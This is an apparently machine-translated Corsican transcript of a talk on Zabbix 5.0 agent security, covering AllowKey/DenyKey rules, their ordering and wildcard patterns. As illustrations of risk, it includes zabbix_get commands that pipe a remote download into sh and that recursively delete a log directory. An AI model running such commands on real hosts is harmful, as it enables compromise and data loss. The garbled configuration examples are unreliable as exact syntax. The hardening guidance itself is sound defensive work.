Lista negra è supportu di lista bianca per e metriche di l'agente
Tikhon Uskov, Ingegnere d'Integrazione, Zabbix
Problemi di sicurità di dati
Zabbix 5.0 hà una nova funzione chì vi permette di migliurà a sicurità in i sistemi chì utilizanu Zabbix Agent è rimpiazza u vechju paràmetru Enable RemoteCommands.
I megliurenze in a sicurità di i sistemi basati in l'agenti sò da u fattu chì un agentu pò esse realizatu un gran numaru d'azzioni potenzialmente periculosi.
- L'agente pò cullà quasi ogni infurmazione, cumpresa infurmazione cunfidenziale o potenzialmente periculosa, da i schedarii di cunfigurazione, i schedarii di log, i schedarii di password o qualsiasi altri schedari.
Per esempiu, utilizendu l'utility zabbix_get pudete accede à una lista di l'utilizatori, i so cartulari di casa, i schedarii di password, etc.
Accessu à i dati cù l'utilità zabbix_get
NOTA. I dati ponu esse ricuperati solu se l'agente hà permessi di leghje nantu à u schedariu currispundente. Ma, per esempiu, u schedariu /etc/passwd/ leggibile da tutti l'utilizatori.
- L'agente pò ancu eseguisce cumandamenti potenzialmente periculosi. Per esempiu, chjave *system.run[]** vi permette di eseguisce qualsiasi cumandamenti remoti nantu à i nodi di a rete, cumpresu l'esecuzione di script da l'interfaccia web Zabbix chì eseguisce ancu cumandamenti da u latu di l'agente.
# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]
# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]
- In Linux, l'agente funziona per automaticamente senza privilegi di root, mentre chì in Windows funziona cum'è un serviziu cum'è Sistema è hà accessu illimitatu à u sistema di fugliale. In cunsiquenza, se ùn ci hè micca cambiatu in i paràmetri di l'Agente Zabbix dopu a stallazione, l'agente hà accessu à u registru, u sistema di fugliale è pò eseguisce dumande WMI.
In versioni precedenti u paràmetru EnableRemoteCommands=0 permessu solu di disattivà e metriche cù a chjave *system.run[]** è in esecuzione di script da l'interfaccia web, ma ùn ci era manera di limità l'accessu à i schedarii individuali, permette o disattivà e chjave individuali chì sò stati installati cù l'agente, o limità l'usu di paràmetri individuali.
Utilizà u paràmetru EnableRemoteCommand in versioni precedenti di Zabbix
AllowKey/DenyKey
Zabbix 5.0 aiuta à prutege contr'à un tali accessu micca autorizatu furnisce e liste bianche è neri per permette è nigà metriche da u latu di l'agente.
In Zabbix 5.0 tutte e chjave, cumprese *system.run[]** sò attivati, è duie novi opzioni di cunfigurazione di l'agente sò state aghjunte:
AllowKey = - cuntrolli permessi;
DenyKey = - cuntrolli pruibiti;
induve hè un mudellu di nome chjave cù paràmetri chì usa metacaratteri (*).
I chjavi AllowKey è DenyKey permettenu di permette o nigà metriche individuali basate nantu à un mudellu specificu. A cuntrariu di l'altri paràmetri di cunfigurazione, u numeru di paràmetri AllowKey/DenyKey ùn hè micca limitatu. Questu permette di definisce chjaramente ciò chì esattamente l'agente pò fà in u sistema, creendu un arbre di cuntrolli - chjavi eseguibili, induve l'ordine in quale sò scritti ghjucanu un rolu assai impurtante.
Sequenza di regule
I reguli sò verificati in l'ordine in quale sò inseriti in u schedariu di cunfigurazione. A chjave hè verificata secondu e regule prima di u primu partitu, è appena a chjave di l'elementu di dati currisponde à u mudellu, hè permessu o denegatu. Dopu questu, a verificazione di e regule si ferma è e chjave restante sò ignorate.
Dunque, se un elementu currisponde à una regula permessa è denegata, u risultatu dipenderà da quale regula hè prima in u schedariu di cunfigurazione.
2 regule diffirenti cù u stessu mudellu è una chjave vfs.file.size[/tmp/file]
L'ordine di utilizà e chjave AllowKey/DenyKey:
- regule precise,
- regule generale,
- regula pruibitiva.
Per esempiu, sè vo avete bisognu di l'accessu à i schedari in un certu cartulare, prima deve permette l'accessu à elli, è poi nigà tuttu ciò chì ùn hè micca in i permessi stabiliti. Se a regula di denegazione hè aduprata prima, l'accessu à u cartulare serà denegatu.
Sequenza curretta
Sè avete bisognu di permette à 2 utilità per eseguisce via *system.run[]**, è a regula di denegazione serà specificata prima, l'utilità ùn serà micca lanciata, perchè u primu mudellu currisponderà sempre à qualsiasi chjave, è e regule successive seranu ignorate.
Sequenza incorrecta
Modelli
Basi rigulari
U mudellu hè un'espressione cù caratteri cumeddi. U metacaratteru (*) currisponde à qualsiasi numeru di caratteri in una pusizione specifica. I metacaratteri ponu esse utilizati in u nome chjave è in i paràmetri. Per esempiu, pudete definisce strettamente u primu paràmetru cù u testu, et précisez le suivant comme joker.
I paràmetri deve esse chjusu in parentesi quadrate [].
system.run[*
- sbagliatuvfs.file*.txt]
- sbagliatuvfs.file.*[*]
- diritta
Esempii di usu wildcard.
- In u nome chjave è in u paràmetru. In questu casu, a chjave ùn currisponde micca à una chjave simili chì ùn cuntene micca un paràmetru, postu chì in u mudellu avemu indicatu chì vulemu riceve una certa fine di u nome chjave è un certu settore di paràmetri.
- Se u mudellu ùn usa micca parentesi quadrate, u mudellu permette tutte e chjave chì ùn cuntenenu micca paràmetri è denega tutte e chjave chì cuntenenu u paràmetru specificatu.
- Se a chjave hè scritta in pienu è i paràmetri sò specificati cum'è wildcard, currisponde à qualsiasi chjave simili cù qualsiasi paràmetri è ùn currisponde à a chjave senza parentesi quadrate, vale à dì chì serà permessa o denegata.
Reguli per riempie i parametri.
- Se una chjave cù paràmetri hè destinata à esse usata, i paràmetri deve esse specificati in u schedariu di cunfigurazione. I paràmetri deve esse specificatu cum'è un metacaratteru. Hè necessariu di ricusà accuratamente l'accessu à qualsiasi schedariu è piglià in cunsiderà quale infurmazione a metrica pò furnisce in diverse spellings - cù e senza paràmetri.
Funzioni di scrittura chjave cù paràmetri
- Se una chjave hè specificata cù paràmetri, ma i paràmetri sò opzionali è specificati cum'è un metacaratteru, una chjave senza paràmetri serà risolta. Per esempiu, sè vo vulete disattivà a ricezione di l'infurmazioni nantu à a carica nantu à u CPU è specificà chì a chjave system.cpu.load[*] deve esse disattivata, ùn vi scurdate micca chì a chjave senza paràmetri restituverà u valore mediu di carica.
Regoli per riempie i paràmetri
Note
cutter
- Certi reguli ùn ponu esse cambiati da l'utilizatore, per esempiu, regule di scuperta o regule di autoregistrazione di l'agente. E regule AllowKey/DenyKey ùn anu micca influenza à i seguenti parametri:
- HostnameItem
- HostMetadataItem
- HostInterfaceItem
NOTA. Se un amministratore disattiva una chjave, quandu hè interrugatu, Zabbix ùn furnisce micca infurmazioni nantu à perchè a metrica o chjave entra in a categuria "NON SUPPORTATA'. L'infurmazioni nantu à i pruibizioni di eseguisce cumandamenti remoti ùn sò micca visualizati ancu in i schedarii di log di l'agente. Questu hè per ragioni di sicurezza, ma pò complicà a debugging se e metriche entranu in una categuria micca supportata per una certa ragione..
- Ùn deve micca cunfidendu in alcun ordine specificu per cunnette i schedarii di cunfigurazione esterni (per esempiu, in ordine alfabeticu).
Utilità di linea di cummanda
Dopu avè stabilitu e regule, avete bisognu di assicurà chì tuttu hè cunfiguratu bè.
Pudete aduprà una di e trè opzioni:
- Aghjunghjite una metrica à Zabbix.
- Pruvate cun zabbix_agentd. Agente Zabbix cù opzione -stampa (-p) mostra tutte e chjave (chì sò permesse per automaticamente) eccettu quelli chì ùn sò micca permessi da a cunfigurazione. È cù l'opzione -test (-t) perchè una chjave pruibita tornerà "Chjave d'elementu micca supportata'.
- Pruvate cun zabbix_get. Utilità zabbix_get cù opzione -k tornerà 'ZBX_NOTSUPPORTED: metrica scunnisciuta'.
Permette o ricusà
Pudete nigà l'accessu à un schedariu è verificate, per esempiu, usendu l'utilità zabbix_getchì l'accessu à u schedariu hè denegatu.
**
NOTA. Quotes in u paràmetru sò ignorati.
In questu casu, l'accessu à un tali schedariu pò esse permessu per una strada diversa. Per esempiu, se un ligame simbolicu porta à questu.
Hè ricumandemu di cuntrollà diverse opzioni per applicà e regule specificate, è ancu piglià in contu e pussibulità di evità e pruibizioni.
Вопросы и ответы
A vostra dumanda. Perchè hè statu un mudellu cusì cumplessu cù a so propria lingua scelta per discrive e regule, permessi è pruibizioni? Perchè ùn era micca pussibule di utilizà, per esempiu, l'espressioni regulare chì Zabbix usa ?
Risposte. Questu hè un prublema di rendiment regex postu chì di solitu ci hè solu un agentu è verifica un gran numaru di metriche. Regex hè una operazione abbastanza pesante è ùn pudemu micca verificà millaie di metriche in questu modu. Wildcards - una suluzione universale, largamente usata è simplice.
A vostra dumanda. Ùn sò micca include i schedari inclusi in ordine alfabeticu?
Risposte. In quantu à sapè, hè praticamenti impussibile di predichendu l'ordine in quale e regule seranu applicate si sparghje e regule in diversi schedari. Aghju ricumandemu di cullà tutte e regule AllowKey / DenyKey in un schedariu Includite, perchè interagiscenu cù l'altri, è cumprendi stu schedariu.
A vostra dumanda. In Zabbix 5.0 l'opzione 'EnableRemoteCommands=' manca da u schedariu di cunfigurazione, è solu AllowKey/DenyKey sò dispunibili?
Rispondi. Iè hè ghjustu.
Ti ringraziu per a vostra attenzione!
Source: www.habr.com